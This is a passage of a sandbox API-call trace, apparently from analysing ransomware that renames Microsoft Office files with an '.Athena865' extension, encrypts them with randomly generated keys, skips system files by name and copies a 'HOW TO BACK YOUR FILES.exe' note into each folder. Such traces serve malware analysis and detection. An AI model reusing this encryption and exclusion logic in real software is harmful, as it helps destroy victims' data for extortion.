CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.485] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.486] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10c80, lpName=0x0) returned 0x17c [0146.487] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10c80) returned 0x100000 [0146.490] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.491] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.491] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.492] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x41b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUB6INTL.REST.IDX_DLL", cAlternateFileName="PUB6IN~2.IDX")) returned 1 [0146.492] lstrcmpiW (lpString1="PUB6INTL.REST.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.492] lstrcmpiW (lpString1="PUB6INTL.REST.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.492] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PUB6INTL.REST.IDX_DLL" | out: lpString1="PUB6INTL.REST.IDX_DLL") returned="PUB6INTL.REST.IDX_DLL" [0146.492] lstrlenW (lpString="PUB6INTL.REST.IDX_DLL") returned 21 [0146.493] lstrlenW (lpString="Athena865") returned 9 [0146.493] lstrcmpiW (lpString1="T.IDX_DLL", lpString2="Athena865") returned 1 [0146.493] lstrlenW (lpString=".dll") returned 4 [0146.493] lstrcmpiW (lpString1="PUB6INTL.REST.IDX_DLL", lpString2=".dll") returned 1 [0146.493] lstrlenW (lpString=".lnk") returned 4 [0146.493] lstrcmpiW (lpString1="PUB6INTL.REST.IDX_DLL", lpString2=".lnk") returned 1 [0146.493] lstrlenW (lpString=".ini") returned 4 [0146.493] lstrcmpiW (lpString1="PUB6INTL.REST.IDX_DLL", lpString2=".ini") returned 1 [0146.493] lstrlenW (lpString=".sys") returned 4 [0146.493] lstrcmpiW (lpString1="PUB6INTL.REST.IDX_DLL", lpString2=".sys") returned 1 [0146.493] lstrlenW (lpString="PUB6INTL.REST.IDX_DLL") returned 21 [0146.493] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.Athena865") returned 79 [0146.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.athena865"), dwFlags=0x1) returned 1 [0146.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0146.495] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=269184) returned 1 [0146.495] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.496] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.496] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.496] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41e80, lpName=0x0) returned 0x17c [0146.497] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41e80) returned 0x2bb0000 [0146.506] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.507] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.507] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.511] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf925f00, ftCreationTime.dwHighDateTime=0x1c92dac, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf925f00, ftLastWriteTime.dwHighDateTime=0x1c92dac, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBCOLOR.SCM", cAlternateFileName="")) returned 1 [0146.511] lstrcmpiW (lpString1="PUBCOLOR.SCM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.511] lstrcmpiW (lpString1="PUBCOLOR.SCM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.511] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PUBCOLOR.SCM" | out: lpString1="PUBCOLOR.SCM") returned="PUBCOLOR.SCM" [0146.511] lstrlenW (lpString="PUBCOLOR.SCM") returned 12 [0146.511] lstrlenW (lpString="Athena865") returned 9 [0146.511] lstrcmpiW (lpString1="COLOR.SCM", lpString2="Athena865") returned 1 [0146.511] lstrlenW (lpString=".dll") returned 4 [0146.511] lstrcmpiW (lpString1="PUBCOLOR.SCM", lpString2=".dll") returned 1 [0146.511] lstrlenW (lpString=".lnk") returned 4 [0146.511] lstrcmpiW (lpString1="PUBCOLOR.SCM", lpString2=".lnk") returned 1 [0146.511] lstrlenW (lpString=".ini") returned 4 [0146.511] lstrcmpiW (lpString1="PUBCOLOR.SCM", lpString2=".ini") returned 1 [0146.511] lstrlenW (lpString=".sys") returned 4 [0146.511] lstrcmpiW (lpString1="PUBCOLOR.SCM", lpString2=".sys") returned 1 [0146.511] lstrlenW (lpString="PUBCOLOR.SCM") returned 12 [0146.512] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.Athena865") returned 70 [0146.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.athena865"), dwFlags=0x1) returned 1 [0146.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0146.513] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28160) returned 1 [0146.513] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.514] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.514] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.514] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7100, lpName=0x0) returned 0x17c [0146.516] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7100) returned 0x100000 [0146.517] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.518] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.518] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.518] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBFTSCM", cAlternateFileName="")) returned 1 [0146.519] lstrcmpiW (lpString1="PUBFTSCM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.519] lstrcmpiW (lpString1="PUBFTSCM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.519] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PUBFTSCM" | out: lpString1="PUBFTSCM") returned="PUBFTSCM" [0146.519] lstrcatW (in: lpString1="PUBFTSCM", lpString2="\\" | out: lpString1="PUBFTSCM\\") returned="PUBFTSCM\\" [0146.519] lstrcatW (in: lpString1="PUBFTSCM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PUBFTSCM\\HOW TO BACK YOUR FILES.exe") returned="PUBFTSCM\\HOW TO BACK YOUR FILES.exe" [0146.519] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\how to back your files.exe"), bFailIfExists=1) returned 1 [0146.524] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2=".") returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="..") returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="windows") returned -1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="bootmgr") returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="temp") returned -1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="pagefile.sys") returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="boot") returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="ids.txt") returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="ntuser.dat") returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="perflogs") returned 1 [0146.524] lstrcmpiW (lpString1="PUBSPAPR", lpString2="MSBuild") returned 1 [0146.524] lstrlenW (lpString="PUBSPAPR") returned 8 [0146.524] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PUBSPAPR" | out: lpString1="PUBSPAPR") returned="PUBSPAPR" [0146.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5522d8 [0146.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53c7a0 [0146.524] lstrcatW (in: lpString1="PUBSPAPR", lpString2="\\" | out: lpString1="PUBSPAPR\\") returned="PUBSPAPR\\" [0146.525] lstrcatW (in: lpString1="PUBSPAPR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PUBSPAPR\\HOW TO BACK YOUR FILES.exe") returned="PUBSPAPR\\HOW TO BACK YOUR FILES.exe" [0146.525] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0146.529] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87ce900, ftCreationTime.dwHighDateTime=0x1ca9b87, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc87ce900, ftLastWriteTime.dwHighDateTime=0x1ca9b87, nFileSizeHigh=0x0, nFileSizeLow=0x29d68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2=".") returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="..") returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="windows") returned -1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="bootmgr") returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="temp") returned -1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="pagefile.sys") returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="boot") returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="ids.txt") returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="ntuser.dat") returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="perflogs") returned 1 [0146.529] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2="MSBuild") returned 1 [0146.529] lstrlenW (lpString="PUBWZINT.DLL") returned 12 [0146.529] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PUBWZINT.DLL" | out: lpString1="PUBWZINT.DLL") returned="PUBWZINT.DLL" [0146.530] lstrlenW (lpString="PUBWZINT.DLL") returned 12 [0146.530] lstrlenW (lpString="Athena865") returned 9 [0146.530] lstrcmpiW (lpString1="WZINT.DLL", lpString2="Athena865") returned 1 [0146.530] lstrlenW (lpString=".dll") returned 4 [0146.530] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2=".dll") returned 1 [0146.530] lstrlenW (lpString=".lnk") returned 4 [0146.530] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2=".lnk") returned 1 [0146.530] lstrlenW (lpString=".ini") returned 4 [0146.530] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2=".ini") returned 1 [0146.530] lstrlenW (lpString=".sys") returned 4 [0146.530] lstrcmpiW (lpString1="PUBWZINT.DLL", lpString2=".sys") returned 1 [0146.530] lstrlenW (lpString="PUBWZINT.DLL") returned 12 [0146.530] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0146.530] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL.Athena865") returned 70 [0146.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll.athena865"), dwFlags=0x1) returned 1 [0146.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0146.532] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=171368) returned 1 [0146.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.533] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.533] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.533] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.534] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a070, lpName=0x0) returned 0x17c [0146.535] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a070) returned 0x170000 [0146.541] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.542] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.542] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.542] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0146.544] CloseHandle (hObject=0x17c) returned 1 [0146.544] CloseHandle (hObject=0x154) returned 1 [0146.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.545] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9324cb00, ftCreationTime.dwHighDateTime=0x1ca9b88, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9324cb00, ftLastWriteTime.dwHighDateTime=0x1ca9b88, nFileSizeHigh=0x0, nFileSizeLow=0x2a780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBWZINT.REST.IDX_DLL", cAlternateFileName="PUBWZI~1.IDX")) returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2=".") returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="..") returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="windows") returned -1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="bootmgr") returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="temp") returned -1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="pagefile.sys") returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="boot") returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="ids.txt") returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="ntuser.dat") returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="perflogs") returned 1 [0146.545] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2="MSBuild") returned 1 [0146.545] lstrlenW (lpString="PUBWZINT.REST.IDX_DLL") returned 21 [0146.545] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PUBWZINT.REST.IDX_DLL" | out: lpString1="PUBWZINT.REST.IDX_DLL") returned="PUBWZINT.REST.IDX_DLL" [0146.545] lstrlenW (lpString="PUBWZINT.REST.IDX_DLL") returned 21 [0146.545] lstrlenW (lpString="Athena865") returned 9 [0146.545] lstrcmpiW (lpString1="T.IDX_DLL", lpString2="Athena865") returned 1 [0146.546] lstrlenW (lpString=".dll") returned 4 [0146.546] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2=".dll") returned 1 [0146.546] lstrlenW (lpString=".lnk") returned 4 [0146.546] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2=".lnk") returned 1 [0146.546] lstrlenW (lpString=".ini") returned 4 [0146.546] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2=".ini") returned 1 [0146.546] lstrlenW (lpString=".sys") returned 4 [0146.546] lstrcmpiW (lpString1="PUBWZINT.REST.IDX_DLL", lpString2=".sys") returned 1 [0146.546] lstrlenW (lpString="PUBWZINT.REST.IDX_DLL") returned 21 [0146.546] lstrlenW (lpString="bak") returned 3 [0146.546] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.Athena865") returned 79 [0146.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.athena865"), dwFlags=0x1) returned 1 [0146.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0146.548] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=173952) returned 1 [0146.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.548] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.549] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.549] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.549] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2aa80, lpName=0x0) returned 0x17c [0146.551] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2aa80) returned 0x170000 [0146.559] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.559] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.559] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.560] 